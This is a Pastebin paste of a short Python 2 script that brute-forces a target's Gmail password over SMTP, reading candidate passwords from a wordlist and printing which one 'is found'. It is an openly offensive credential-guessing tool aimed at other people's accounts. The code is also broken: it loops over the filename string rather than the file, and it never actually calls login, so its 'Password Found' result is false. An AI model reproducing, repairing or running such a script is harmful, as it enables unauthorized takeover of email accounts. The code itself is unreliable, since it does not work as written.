Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import smtplib
- smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
- smtpserver.ehlo()
- smtpserver.starttls()
- user = raw_input("Enter the target's email address:")
- passwfile = raw_input("Provide the password file:")
- passwdfile = open(passwfile, "r")
- for password in passwfile:
- try:
- smtpserver.login, password
- print "[+] Password Found: %s" % password
- break;
- except smtplib.SMTPAuthenticationError:
- print "[!] Password Incorrect: %s" % password
Advertisement
Add Comment
Please, Sign In to add comment